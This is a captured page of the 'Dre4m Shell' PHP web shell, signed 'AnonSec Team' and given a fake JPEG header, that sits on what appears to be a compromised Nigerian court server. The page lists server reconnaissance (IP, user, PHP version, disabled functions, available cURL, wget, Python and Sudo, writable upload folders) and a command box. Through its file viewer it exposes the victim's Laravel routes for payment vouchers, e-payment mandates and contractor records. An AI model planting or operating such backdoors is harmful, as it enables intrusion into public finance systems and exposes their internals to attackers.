ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.14.144.121
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/routes/funds.php
<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes for Funds
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

    //Routes to create contractor
		Route::get('/contractor/create', 'ContractorController@index');
		Route::post('/contractor/create', 'ContractorController@index');
		
		//Routes to list of contractor
		Route::get('/contractor/list', 'ContractorListController@index');
		Route::post('/contractor/list', 'ContractorListController@index');

    //Economic Head
		Route::get('/economic-head/create', 'EconomicHeadController@index');
		Route::post('/economic-head/create', 'EconomicHeadController@index');

  //Economic Code
		Route::get('/economic-code', 'EconomicCodeController@index'); 
		Route::post('/economic-code', 'EconomicCodeController@reload');
		Route::post('/economic-code/save', 'EconomicCodeController@store');
		Route::get('/economic-code/{ID}', 'EconomicCodeController@destroy');
		Route::post('/economic-code/update', 'EconomicCodeController@update');

    //Contractor Record
		Route::get('/contractor-record',                      'ContractorRecordController@index');
		Route::post('/contractor-record',                     'ContractorRecordController@show'); 
		
		Route::get('/contractor-record/view/{ContID}',        'ContractorRecordController@view'); 
    
    //VAT And WHT Payee
		Route::get('/vat-wht-payee',                            'VatwhtpayeeController@index')->name('indexWhtVat');
		Route::post('/vat-wht-payee', 							'VatwhtpayeeController@store');
		Route::get('/vat-wht-payee/delete/{lol}',                      'VatwhtpayeeController@destroy');
		Route::post('/vat-wht-payee/update', 				'VatwhtpayeeController@update');

    //Reports
		Route::get('/report/transactions', 'TransactionsController@index'); 
		Route::post('/report/transactions', 'TransactionsController@index');
		 //vote Transaction
		Route::any('/report/vote-trans', 'ReportsController@VoultTransReport');
		
		Route::get('/report/voults', 'ReportsController@VoultBalanceReport');
		Route::post('/report/voults', 'ReportsController@VoultBalanceReport');
    //Monthly vault ballance
		Route::get('/report/voults/monthly', 'ReportsController@MonthlyVoultBalanceReport');
		Route::post('/report/voults/monthly', 'ReportsController@MonthlyVoultBalanceReport');

    //View Daily, Weekly, Monthly and Yearly Expenditure Report
		Route::get('/report/expenditure-balances-break-down', 'ReportsController@ExpenditureBalanceReportAtAnyTime')->name('ExpenditureBalanceReport');
		Route::post('/report/expenditure-balances-break-down', 'ReportsController@ExpenditureBalanceReportAtAnyTime')->name('PostExpenditureBalanceReport');
		//
		//VOTE BOOK
		Route::get('/report/vote-book-break-down',  'VoteBookController@createVoteBook')->name('CreateVoteBook');
		Route::post('/report/vote-book-break-down', 'VoteBookController@createVoteBook')->name('PostVoteBook');
		
		Route::any('/report/vote/expenditure', 'ReportsController@VoultExpendictureReport');
		Route::any('/report/range/expenditure', 'ReportsController@RangeExpenditureReport');
		
        //day ledger book
        Route::get('/daybook/view-book',  	   			'DayBookLedgerController@dayBook');
        Route::post('/daybook/view-book',  	   		        'DayBookLedgerController@postDayBook');
        Route::get('/ledger/view',  	   			'DayBookLedgerController@ledger');
        Route::post('/ledger/view',  	   			'DayBookLedgerController@postLedger');

		//Start payee edit route
		Route::get('/edit-vat-wht-for-payee/{payeeID?}',  		'VatwhtpayeeController@editPayee');
		Route::post('/edit-vat-wht-for-payee/{payeeID?}',  		'VatwhtpayeeController@editPayee');

		//Routes to create allocation
		Route::get('/allocation', 'AllocationController@index');
		Route::post('/allocation', 'AllocationController@index');
		
		Route::get('/allocation/approval', 'AllocationApprovalController@index');
		Route::post('/allocation/approval', 'AllocationApprovalController@index');
		
		Route::get('/allocation/monthly', 'MonthlyAllocationController@index');
		Route::post('/allocation/monthly', 'MonthlyAllocationController@index');
		
		Route::get('/allocation/totalmonthly', 'ReportsController@TotalMonthlyAllocation');
		Route::post('/allocation/totalmonthly', 'ReportsController@TotalMonthlyAllocation');
		
		Route::get('/beneficiary/voucher', 'BeneficiaryVoucherController@index');
		Route::post('/beneficiary/voucher', 'BeneficiaryVoucherController@index');
		
		Route::any('/allocation/lend-borrow',           'VoteManagement@LendingBorrow');
		Route::any('/allocation/lend-borrow-report',    'VoteManagement@LendingBorrowReport');
		Route::any('/allocation/unesttled-lend-borrow-report',    'VoteManagement@UnsettledLendingBorrowReport');
         

   //Staff Promotion
   Route::get('/promotion-pay', 							          'PromotionPayController@index');
   Route::post('/promotion-pay', 							          'PromotionPayController@getPromotionArrears');

    Route::get('/allocationtype/set',            'FundsProjectController@index');
	Route::post('/allocationtype/set',           'FundsProjectController@index');
	
	Route::get('/contracttype/set',            						'FundsProjectController@contractt');
	Route::post('/contracttype/set',           						'FundsProjectController@contractt');
	
	Route::get('/create/contract',            						'CreateContractVoucherController@PrecreateContractVoucher');
	Route::post('/create/contract',           						'CreateContractVoucherController@PrecreateContractVoucher');
	Route::get('/raise/voucher',            						'CreateContractVoucherController@createContractVoucher');
	Route::post('/raise/voucher',           						'CreateContractVoucherController@createContractVoucher');
	
	Route::get('/voucher/continue/{id?}/{ctype?}',                  'CreateContractVoucherController@continu');
  	Route::post('/voucher/continue/{id?}/{ctype?}',                 'CreateContractVoucherController@continu');
  	Route::any('/new-voucher/{cid?}',                       		'CreateContractVoucherControllerNew@newvourcher');
	
	Route::get('/create/procurement',                        'ProcurementController@newprocurement');
  	Route::post('/create/procurement',                       'ProcurementController@newprocurement');
  	Route::any('/create/new-contract',                        'ProcurementController@procurement_ContractEntry');
  	Route::get('/create/procurement-staff',                        'ProcurementController@newprocurement_staff');
  	Route::post('/create/procurement-staff',                       'ProcurementController@newprocurement_staff');
  	
  	Route::get('/procurement/approve',                        'ProcurementController@approveprocurement');
  	Route::post('/procurement/approve',                       'ProcurementController@approveprocurement');
  	
  	Route::get('/claimcontract/report',                        'ProcurementController@contractClaimReport');
  	Route::post('/claimcontract/report',                       'ProcurementController@contractClaimReport');
  	
  	Route::get('/procurement/ca-approve',                        'ProcurementController@approveprocurement');
  	Route::post('/procurement/ca-approve',                       'ProcurementController@approveprocurement');
  	
  	Route::get('/pro/file/{name?}',                        'ProcurementController@viewfile');
  	
  	//Route::get('/voucher/liabilityx',                        'LiabilityControllerx@index');
  	//Route::post('/voucher/liabilityx',                       'LiabilityControllerx@index');
  	
  	Route::get('/voucher/liability',                        'LiabilityController@index');
  	Route::post('/voucher/liability',                       'LiabilityController@index');

  Route::get('/voucher/editable/list',                        'LiabilityController@editableVoucher');
  Route::post('/voucher/editable/list',                       'LiabilityController@editableVoucher');
  
  //Process Voucher or commit
  Route::any('/voucher/final-clearance',                   'LiabilityController@FinalApproval');
  Route::get('/voucher/check',                        'LiabilityController@check');
  Route::post('/voucher/check',                       'LiabilityController@check');
  Route::get('/voucher/audit',                        'LiabilityController@Auditcheck');
  Route::post('/voucher/audit',                       'LiabilityController@Auditcheck');
  Route::post('/voucher/check-date',                  'LiabilityController@check');
  Route::get('/voucher/check-date',                   'LiabilityController@check');
  
  
  Route::get('/voucher/simple-edit',                   'LiabilityController@editVoucherPage');
  Route::post('/voucher/simple-edit',                   'LiabilityController@editVoucherPage');
  Route::patch('/voucher/simple-edit',                   'LiabilityController@editVoucherRetireStatus');
  
  
  
  //Route::get('/voucher/audit',                        'AuditorController@audit');
  //Route::post('/voucher/audit',                       'AuditorController@audit');

  Route::get('/checkby/voucher',                        'LiabilityController@checkbypage');
  Route::post('/checkby/voucher',                       'LiabilityController@checkbypage');
  
  Route::get('/occheckby/voucher',                        'LiabilityController@OCclearance');
  Route::post('/occheckby/voucher',                       'LiabilityController@OCclearance');

  Route::get('/voucher/edit/{id?}',                       'CreateContractVoucherController@edit');
  Route::get('/process-voucher/edit',                             'LiabilityController@check');
  Route::post('/process-voucher/edit',                           'CreateContractVoucherController@postEdit');

     //NICN MODULES ROUTE
     	//RECURRENT Voucher
     //copy voucher
     Route::post('/copy-voucher',  							    'NicnModulesController\CapitalRecurrentController@copyVoucher');
     Route::get('/copy-voucher',                                 'LiabilityController@check');
     
     Route::get('/CR/voucher/contract/create', 				'NicnModulesController\CapitalRecurrentController@createContractVoucher'); 
     Route::post('/CR/voucher/contract/create', 				'NicnModulesController\CapitalRecurrentController@storeJournal'); 
     Route::get('/staff/division/select', 					'NicnModulesController\CapitalRecurrentController@allStaffListDB'); 
     Route::post('/staff/division/select', 					'NicnModulesController\CapitalRecurrentController@allStaffListDBPost'); 
     Route::get('/voucher/view', 						'NicnModulesController\CapitalRecurrentController@listVoucher'); 
     Route::post('/voucher/view', 						'NicnModulesController\CapitalRecurrentController@listVoucher_POST'); 
     Route::post('/recurrent/update/voucher', 				'NicnModulesController\CapitalRecurrentController@updateVoucher'); 
     Route::post('/recurrent/replicate/voucher', 				'NicnModulesController\CapitalRecurrentController@replicateVoucher'); 
     Route::get('/print/voucher/{transactionID?}', 				'NicnModulesController\CapitalRecurrentController@viewVoucher');
     Route::get('/recurrent/print/voucher/{transactionID?}', 		'NicnModulesController\CapitalRecurrentController@viewVoucher');
     Route::post('/recurrent/get-payee-name-and-naration-JSON', 		'NicnModulesController\CapitalRecurrentController@getPayeeNarration');
     
     //Create Staff Voucher
     Route::get('/recurrent-create-staff-voucher', 				'NicnModulesController\CapitalRecurrentController@createStaffNormalVoucher')->name('createStaffRecurrentVoucher'); 
     Route::post('/recurrent-create-staff-voucher', 				'NicnModulesController\CapitalRecurrentController@storeStaffVoucherRecurrent')->name('storeStaffVoucherRecurrent'); 
     Route::get('/recurrent-add-selected-staff-to-voucher', 		        'NicnModulesController\CapitalRecurrentController@createStaffNormalVoucher');
     Route::post('/recurrent-add-selected-staff-to-voucher', 		'NicnModulesController\CapitalRecurrentController@addSelectedStaff')->name('addSelectedStaffRecurrent');
     //change Division for staff voucher
     Route::get('/recurrent/staff-voucher-change-division', 			'NicnModulesController\CapitalRecurrentController@createStaffNormalVoucher');
     Route::post('/recurrent/staff-voucher-change-division', 		'NicnModulesController\CapitalRecurrentController@changeDivisionStaffVoucher')->name('changeStaffDivisionRecurrent');
     //
     Route::post('/recurrent/update/partpayment/voucher', 		    	'NicnModulesController\CapitalRecurrentController@storePartPayment'); 
     Route::get('/recurrent/all-partpayment/voucher/{transactionID?}', 	'NicnModulesController\CapitalRecurrentController@viewAllPartPayment')->name('partPayment'); 
     Route::post('/recurrent/view/beneficiary/part-partment',        	'NicnModulesController\CapitalRecurrentController@revertPartPaymentPaid');
     Route::get('/recurrent/view/beneficiary/part-partment', 		'NicnModulesController\CapitalRecurrentController@viewAllBeneficiaryPartPayment')->name('viewPartPayment'); 
     //
     Route::post('/recurrent/staff/add-to-list/voucher', 			'NicnModulesController\CapitalRecurrentController@addNewStaffToListVoucher'); 
     Route::post('/recurrent/update/voucher-amount', 	 		'NicnModulesController\CapitalRecurrentController@updateVoucherAmountInStaffList'); 
     Route::post('/staff-list/voucher/delete/JSON', 	 			'NicnModulesController\CapitalRecurrentController@deleteStaffFromListJSON');
     Route::post('/recurrent/update/bank-details-JSON',    			'NicnModulesController\CapitalRecurrentController@updateBankDetailsFromVoucherStaffList'); 
     //Vat and Wht Address
     Route::get('/vat/address/{vatID?}',    				        'NicnModulesController\ParentController@getVatAddress'); 
     Route::get('/wht/address/{WhtID?}',    				        'NicnModulesController\ParentController@getWhtAddress'); 
     
     //Create Batch Staff Voucher
     Route::get('/create-batch-staff-voucher', 				'NicnModulesController\CapitalRecurrentController@createStaffBatchVoucher')->name('createBatchStaffVoucherRecurrent'); 
     Route::post('/process-batch-staff-voucher', 				'NicnModulesController\CapitalRecurrentController@postStaffBatchVoucher')->name('processBatchSatffVoucher'); 
     Route::post('/staff/voucher/change-division', 				'NicnModulesController\CapitalRecurrentController@changeDivisionStaffVoucher'); 
     Route::post('/post-save-batch-staff-voucher', 				'NicnModulesController\CapitalRecurrentController@addSelectedBatchStaff')->name('addSelectedBatchStaff'); 
     Route::post('/staff-voucher/update-parameter', 				'NicnModulesController\CapitalRecurrentController@updateStaffVoucherParameter')->name('postParametersBatchStaff');
     Route::get('/staff/search/json/{q?}', 					'NicnModulesController\CapitalRecurrentController@autocomplete_STAFF'); //NOTE: ERROR IN ROUTE -Duplicate
     //Search Voucher by Voucher NUmber
     Route::get('/recurrent/search-voucher/voucherNumber', 			'NicnModulesController\CapitalRecurrentController@listVoucher');
     Route::post('/recurrent/search-voucher/voucherNumber', 			'NicnModulesController\CapitalRecurrentController@searchByVoucherNumberRecurrent');
 
     //CAPITAL Voucher
     Route::get('/capital/voucher/contract/create', 		    		'NicnModulesController\CapitalController@createCapitalVoucher')->name('creareNewCapitalVoucher'); 
     Route::post('/capital/voucher/contract/create', 			'NicnModulesController\CapitalController@storeJournal')->name('postNewCapitalVoucher');
     Route::get('/capital/voucher/view', 					'NicnModulesController\CapitalController@listVoucher')->name('listAllCapitalVoucher'); 
     Route::post('/capital/voucher/view', 					'NicnModulesController\CapitalController@listVoucher_POST'); 
     Route::get('/capital/print/voucher/{transactionID?}', 			'NicnModulesController\CapitalController@viewVoucher'); 
     Route::post('/capital/update/voucher', 				    	'NicnModulesController\CapitalController@updateVoucher'); 
     Route::post('/capital/update/partpayment/voucher', 			'NicnModulesController\CapitalController@storePartPayment'); 
     Route::get('/capital/all-partpayment/voucher/{transactionID?}', 	'NicnModulesController\CapitalController@viewAllPartPayment'); 
     Route::get('/capital/view/beneficiary/part-partment', 			'NicnModulesController\CapitalController@viewAllBeneficiaryPartPayment'); 
     //Search Voucher by Voucher NUmber
     Route::post('/capital/search-voucher/voucherNumber', 			'NicnModulesController\CapitalController@searchByVoucherNumberCapital'); 
 
 
     //SUB-ACCOUNT Voucher
     Route::get('/sub-account/voucher/create2', 				'NicnModulesController\SubAccountController@createSubAccountVoucher2')->name('createStaffVoucherSubAccount'); 
     Route::get('/search-staff-from-db-voucher-JSON/{getQuery?}', 			'NicnModulesController\SubAccountController@searchStaffFromDB'); 
     Route::post('/add-staff-to-voucher-staff-list-JSON', 	        'NicnModulesController\SubAccountController@addStaffToVoucherStaffListSearch'); 
     Route::get('/sub-account/voucher/create', 				'NicnModulesController\SubAccountController@createSubAccountVoucher'); 
     Route::post('/sub-account/voucher/create', 		    		'NicnModulesController\SubAccountController@storeStaffVoucher')->name('postStaffVoucherSubAccount'); 
     Route::post('/sub-account/voucher/change-division', 			'NicnModulesController\SubAccountController@createSubAccountVoucher'); 
     Route::post('/sub-account/voucher/change-division', 			'NicnModulesController\SubAccountController@changeDivisionStaffVoucher'); 
     Route::post('/sub-account/process-selected-staff', 			'NicnModulesController\SubAccountController@addSelectedStaff');
     Route::post('/sub-account/voucher/view', 				'NicnModulesController\SubAccountController@listVoucher_POST');  
     Route::get('/sub-account/voucher/view', 				'NicnModulesController\SubAccountController@listVoucher')->name('ViewAllStaffVoucher'); 
     Route::get('/sub-account/print/voucher/{transactionID?}', 		'NicnModulesController\SubAccountController@viewVoucher'); 
     Route::post('/sub-account/retire/voucher', 				'NicnModulesController\SubAccountController@retireVoucher'); 
     Route::post('/sub-account/update/voucher', 				'NicnModulesController\SubAccountController@updateVoucher'); 
     Route::post('/subaccount/staff/add-to-list/voucher', 			'NicnModulesController\SubAccountController@addNewStaffToListVoucher'); 
     Route::post('/subaccount/update/voucher-amount', 	 		'NicnModulesController\SubAccountController@updateVoucherAmountInStaffList'); 
     Route::get('/sub-account/staff/division/select', 			'NicnModulesController\SubAccountController@allStaffListDB'); 
     Route::post('/sub-account/staff/division/select', 			'NicnModulesController\SubAccountController@allStaffListDBPost'); 
     Route::post('/sub-account/update/bank-details-JSON',    		'NicnModulesController\CapitalRecurrentController@updateBankDetailsFromVoucherStaffList'); 
     //Search Voucher by Voucher NUmber
     Route::get('/sub-account/search-voucher/voucherNumber', 		'NicnModulesController\SubAccountController@listVoucher'); 
     Route::post('/sub-account/search-voucher/voucherNumber', 		'NicnModulesController\SubAccountController@searchByVoucherNumberSubAccount'); 
 
     //DELETE VOUCHER
     //Route::post('/subaccount/softdelete-voucher', 				'NicnModulesController\SubAccountController@SoftDelete'); 
     //Route::post('/capital/softdelete-voucher', 			    	'NicnModulesController\CapitalController@SoftDelete'); 
     Route::get('/recurrent/softdelete-voucher/{VoucherID?}', 				'NicnModulesController\CapitalRecurrentController@SoftDelete'); 
     
         //search allocation
         Route::post('/allocation/search', 					'NicnModulesController\AllocationController@search');
         Route::get('/allocation/search', 					'NicnModulesController\AllocationController@getsearch');
     
         //search transaction Voucher
         Route::post('/subaccount/retrieve-vourcher/result',  			'NicnModulesController\SubAccountController@retrieveVourcher'); 
         Route::get('/subaccount/retrieve-vourcher/{q?}',     			'NicnModulesController\SubAccountController@autocompleteSearch');
     //OTHER CHARGES ROUTE
     
     //Upload Report Head
       Route::get('/update-report-head-details',		 'UpdateReportHeadController@createReportHead')->name('createReportHead');
       Route::post('/update-report-head-details',	'UpdateReportHeadController@updateReportHead')->name('portReportHead');
     
    //Update Payment
       Route::get('/update-payment-transaction',		'UpdatePaymentController@createPaymentKickOff')->name('createUpdatePayment');
       Route::post('/relaod-payment-transaction',		'UpdatePaymentController@createPaymentKickOff');
       Route::post('/update-payment-transaction',	'UpdatePaymentController@SavePaymentKickOff')->name('saveUpdatePayment');
       Route::get('/getEconomicCodeJson/{contractTypeID}/{allocationTypeID}',	'BaseParentController@getEconomicCode');
       Route::get('/create-edit-record/{ID}',		        'UpdatePaymentController@edit')->name('editRecord');
       Route::get('/cancel-edit-record',		        'UpdatePaymentController@cancelEdit')->name('cancelUpdate');
       Route::get('/remove-record/{ID}',		        'UpdatePaymentController@removeRecord')->name('removeRecord');
       
     //receiveed/voucher-for-commitment
     Route::get('receiveed/voucher-for-commitment', 'UpdatePaymentController@receivedVoucher');
     Route::any('/vourcher-location',                       'LiabilityController@VourcherLocation');;
     //accept or approve for process
     Route::any('/accept-voucher-for-process',                       'LiabilityController@acceptOrApprove')->name('acceptVoucher');
     Route::get('/accept-or-approve-voucher/{transID?}',             'LiabilityController@postAcceptOrApprove')->name('postAcceptVoucher');
     Route::get('/disapprove-or-reject-voucher/{transID?}',          'LiabilityController@postRejectOrDisapprove')->name('postRejectVoucher');
     
     //Vote transfer module
     Route::get('/payroll-merger',                'MergerController@index');
     Route::post('/payroll-merger',               'MergerController@Merge');
     
     //Staff pension list
     Route::get('/staff-pension',                'StaffPensionController@index');
     Route::post('/staff-pension',               'StaffPensionController@Calculate');

         //NJC- creating new contract from procurement
	Route::get('/create-procurement',  			'ProcurementContractController@create')->name('loadProcurement');
	Route::get('/view-all-contract',  			'ProcurementContractController@viewAllContract')->name('startProcess');
	Route::post('/create-procurement',  			'ProcurementContractController@save')->name('saveProcurement');
	Route::get('/create-new-contract-from-liability',  	'ProcurementContractController@newLiabilityContract')->name('liabilityContract');
	Route::post('/create-from-procurement',  		'ProcurementContractController@saveContractLiability')->name('saveOtherContract');
	Route::post('/upload-contract-attach-files',  		'ProcurementContractController@attachNewFileForContract')->name('uploadContractFile');
	Route::post('/edit-contract-information-post-json',  	'ProcurementContractController@editContract')->name('editContract');
	Route::post('/process-contract-post-json',  		'ProcurementContractController@processContract');
	Route::post('/get-all-economic-code',  			'ProcurementContractController@fetchEconomicCode');
	Route::post('/set-session-director-post-json',  	'ProcurementContractController@setSessionByDirector');
	Route::post('/remove-contract-attached-file',  		'ProcurementContractController@deleteAttachedFile');
	Route::post('/get-all-comment-for-all', 		'ProcurementContractController@getAllComment');
	Route::post('/get-liability-contract-details', 		'ProcurementContractController@getUnpaidContractDetail');
	Route::post('/get-unpaid-amount-only', 			'ProcurementContractController@getUnpaidBalance');
	Route::post('/get-contract-economic-details', 		'ProcurementContractController@getPreviousLiabilityEconomicDetails');
	Route::get('/is-user-head-of-expenditure-control', 	'ProcurementContractController@isUserHEC');
	Route::post('/get-real-balance-json-economicCode', 	'ProcurementContractController@getBalance');
	Route::get('/viewing-all-contracts', 			'ProcurementContractController@getAllContractWithDetails');

     	//NJC Reconciliation Report
       Route::get('/refunds-entry-for-treasury',  		'ReconciliationNjcController@index')->name('createRefunds');
       Route::post('/refunds-entry-for-treasury',  		'ReconciliationNjcController@postRefunds')->name('PostCreateRefunds');
       Route::get('/create-treasury-report', 			'ReconciliationNjcController@createTreasuryReport')->name('treasuryReport');
       Route::post('/create-treasury-report', 			'ReconciliationNjcController@postReport')->name('postTreasuryReport');
       Route::get('/treasury-cash-book-report', 		'ReconciliationNjcController@viewReport')->name('viewTreasuryReport');
       Route::post('/get-economic-code-for-refound',   'ReconciliationNjcController@fetchEconomicCode');
       Route::get('/delete/refund/{id}',  		            'ReconciliationNjcController@trashRefund');
     
     ////////////// PAYMENT MANDATE////////////////////////////////
     //E-payment Report Prerequisite
     Route::get('/report/e-payment',  	   			        'NicnModulesController\EpaymentReportController@index');
     Route::post('/report/e-payment',  	   			        'NicnModulesController\EpaymentReportController@index_POST');
     Route::get('/report/e-payment/softCopy',  	   	        'NicnModulesController\EpaymentReportController@viewSoftCopy');
     Route::get('/report/e-payment-schedule',  	   	        'NicnModulesController\EpaymentReportController@index')->name('selectReport');
     Route::post('/report/e-payment-schedule',  	   	        'NicnModulesController\EpaymentReportController@epaymentScheduletReport');
     Route::get('/generate/company/e-payment',  	   	'NicnModulesController\EpaymentReportController@generateEpayment');
     Route::get('/report/export/e-payment/{epaymentID?}',  	   	'NicnModulesController\EpaymentReportController@exportEpaymenScheduletReport');
     Route::get('/report/softCopy',     				'NicnModulesController\ReportController@Export'); 
     Route::get('/report/details/{companysID?}', 	'NicnModulesController\ReportController@details'); 
     Route::get('/report/e-payment/archive',  	   	'NicnModulesController\EpaymentReportController@archive_list'); 
     Route::post('/restore/e-payment/archive',  	   	'NicnModulesController\EpaymentReportController@archive_restore');
     Route::get('/all/e-payment/archive',  	   	            'NicnModulesController\EpaymentReportController@E_payment_Archive')->name('listAllEpaymentArchive');
     Route::post('/all/e-payment/archive',  	   	            'NicnModulesController\EpaymentReportController@E_payment_Archive_POST');
     Route::post('/search/e-payment/archive',  	   	            'NicnModulesController\EpaymentReportController@E_payment_Archive_POST');
     
     Route::post('/search/batch-e-payment/archive',  	   	            'NicnModulesController\EpaymentReportController@E_payment_Archive_BatchCode');
     
     //export softcopy
     Route::get('/export/softcopy',  	   	'NicnModulesController\EpaymentReportController@exportSoftcopy');
     
     Route::post('/search/all-Epayment/archive',  	   	 'NicnModulesController\EpaymentReportController@SearchEpaymentArchive_voucher')->name('postSearchEpaymtArchive');
         
     Route::post('/update/e-payment-details-JSON',  	        'NicnModulesController\EpaymentReportController@updateE_PaymentDetails');
     Route::post('/update/staff-e-payment-details-JSON',  	'NicnModulesController\EpaymentReportController@updateStaffE_PaymentDetails');
     Route::get('/staff/report/e-payment/{transactionID?}', 'NicnModulesController\EpaymentReportController@indexStaffEPament');
     Route::post('staff/report/e-payment-schedule',  	   'NicnModulesController\EpaymentReportController@staffEpaymentReportPost');
     //Route::get('staff/report/e-payment-schedule',  	       'NicnModulesController\EpaymentReportController@staffEpaymentScheduletReport');
     //Route::get('/staff/report/export/e-payment',  	   	   'NicnModulesController\EpaymentReportController@exportStaffEpaymenScheduletReport');
     Route::get('archive-report-e-payment/{epaymentID?}',  	   	   		'NicnModulesController\EpaymentReportController@archiveReportEpayment');
     Route::get('archive/delete/e-payment/{epaymentID?}',  	   	   		'NicnModulesController\EpaymentReportController@deleteEpaymentArchiveReport');
     Route::post('/update/code-no-JSON',  			        'NicnModulesController\EpaymentReportController@updateE_PaymentCodeNo');
     Route::post('/update/signatory-JSON',  			        'NicnModulesController\EpaymentReportController@updateSignatoryEPayment');
     Route::post('/update-voucher-for-epayment-JSON',  			'NicnModulesController\EpaymentReportController@updateVoucherForEPayment');
     Route::post('/remove-record-from-epayment-JSON',            'NicnModulesController\EpaymentReportController@removeRecordFromEpayment');
     //staff
     Route::get('/view-all-staff-attached-to-a-voucher/{transID}',            'NicnModulesController\EpaymentReportController@indexGenerateEpaymentStaff');
     Route::post('/report/e-payment-schedule-staff',  	   	                 'NicnModulesController\EpaymentReportController@epaymentScheduletReportStaff');
     Route::get('/report/e-payment-schedule-staff',  	   	                 'NicnModulesController\EpaymentReportController@index');
     Route::post('/update-voucher-for-epayment-staff-JSON',  			     'NicnModulesController\EpaymentReportController@updateVoucherForEPaymentStaff');
     //E-Payment Report
     Route::get('/generate-epayment-report',  'NicnModulesController\EpaymentReportController@indexGenerateEpayment')->name('generateEpayment');
     Route::post('/generate-epayment-report',  'NicnModulesController\EpaymentReportController@postGenerateEpayment')->name('generateEpaymentpost');
     Route::post('/search-for-committed-voucher',  'NicnModulesController\EpaymentReportController@searchCommittedVoucherPost')->name('searchCommittedV');
     Route::post('/add-committed-voucher-to-list',  'NicnModulesController\EpaymentReportController@addSelectedVoucher')->name('addCommittedToList');
     Route::post('/remove-voucher-from-schedule-JSON',  'NicnModulesController\EpaymentReportController@removeVoucherSchedule');
     Route::get('/view-epayment-added',  'NicnModulesController\EpaymentReportController@indexViewAllAddedEpaymentForGeneration')->name('viewEpaymentAdded');
     
     //Merge Voucher
     Route::post('/merge-voucher-json',           'NicnModulesController\EpaymentReportController@startMergeVoucher')->name('mergeVoucher');
     Route::get('/view-all-merged-voucher',  'NicnModulesController\EpaymentReportController@viewAllMergedVoucher')->name('viewMergedVoucher');
     Route::post('/view-all-merged-voucher-filter',  'NicnModulesController\EpaymentReportController@viewAllMergedVoucher_Filter')->name('filterMerge');
     Route::post('/get-voucher-details-via-json',  'NicnModulesController\EpaymentReportController@getDetailForMergeVoucher');
     Route::post('/get-voucher-sum-amount-via-json',  'NicnModulesController\EpaymentReportController@getSumAmountForMergeVoucher');
     Route::post('/update-merged-voucher-by-Json',  'NicnModulesController\EpaymentReportController@updateMergedVoucher');
     Route::post('/demerge-voucher-json',           'NicnModulesController\EpaymentReportController@deMergeVoucher')->name('deMergeVoucher');
     Route::post('/post-merged-voucher-for-epayment',  'NicnModulesController\EpaymentReportController@epaymentScheduletReportMerge')->name('prepareMergeEpayment');
     Route::get('/epayment-report-for-merged-voucher',  'NicnModulesController\EpaymentReportController@generateEpaymentMergeVoucher')->name('epaymentReportMerged');
     Route::get('/epayment-report-merged-archive/{epaymentID?}',  'NicnModulesController\EpaymentReportController@generateEpaymentMergeVoucherFromArchive');
     Route::get('/epayment/add-more-beneficiary/',  'NicnModulesController\EpaymentReportController@generateEpaymentMergeVoucher');
     Route::post('/epayment-add-more-beneficiary',  'NicnModulesController\EpaymentReportController@startAddMoreBeneficiaryToCapitalVoucher');
  
     //Mark Epayment as paid
     Route::post('/mark-epayment-transaction-as-paid',   'NicnModulesController\EpaymentReportController@markEpaymentAsPaid')->name('markAsPaid');
     Route::get('/mark-epayment-transaction-as-paid',    'NicnModulesController\EpaymentReportController@E_payment_Archive');
     //Retire Voucher
     Route::post('/retire-voucher',      'NicnModulesController\SubAccountController@retireVoucher');
     Route::get('/retire-voucher',       'LiabilityController@check')->name('retireNow');
     
     //CPO Rejects Voucher to Funds
      Route::get('/retire-voucher/{voucherID}',      'NicnModulesController\EpaymentReportController@cpoRejectsVoucherToFUnds')->name('cpoReject');
     ////////////// END PAYMENT MANDATE////////////////////////////////
     
     //Company Purchase Day Book
     Route::get('/company-purchase-day-book',       'CompanyPurchaseDayBook@createPurchaseDayBookPage')->name('createPurchaseDayBookPage');
     Route::post('/company-purchase-day-book',      'CompanyPurchaseDayBook@processCompanyDayBook')->name('processPurchaseDayBookPage');
     
     //Export Mandate
     Route::post('/export/mandate',  	   			'NicnModulesController\EpaymentReportController@exportToExcel');
     
     //TAX MATTER SECTION
     Route::get('/tax-matter-section-report',  	   	'NicnModulesController\TaxMatterController@showTaxMatterReport')->name('viewTaxMatterReport');
     Route::post('/tax-matter-section-report',  	   	'NicnModulesController\TaxMatterController@postSearchReport');
     Route::post('/update_tax_matter_report',  	   	'NicnModulesController\TaxMatterController@postRecordUpdate');
     Route::post('/revert_update_tax_matter_report', 'NicnModulesController\TaxMatterController@postRevertDescription');
     Route::get('/export_tax_matter_report',         'NicnModulesController\TaxMatterController@exportRecordSoftcopy');
     
     //UndateStaffAmountVoucher
     Route::post('/undate-staff-amount-voucher',         'NicnModulesController\CapitalRecurrentController@undateStaffAmountVoucher');
    
      //tax matter description 
    Route::get('tax-matters/description/add', 		        'TaxMatterDescription@displayTaxDescriptionForm');
    Route::post('tax-matters/description/add', 		        'TaxMatterDescription@addTaxDesc')->name('add-tax-matters');
    Route::post('tax-matters/description/delete', 		    'TaxMatterDescription@deleteTaxDesc')->name('delete-tax-matters');
    Route::post('tax-matters/description/update', 		    'TaxMatterDescription@updateTaxDesc')->name('update-tax-matters');
    Route::get('tax-matters/description/disable/{id}', 		'TaxMatterDescription@disableTaxDesc');
    Route::get('tax-matters/description/enable/{id}', 		'TaxMatterDescription@enableTaxDesc');

    //Tax Matter Alternative
    Route::any('/tax-matter-report',         'TaxMatter@Index');

Anon7 - 2022
AnonSec Team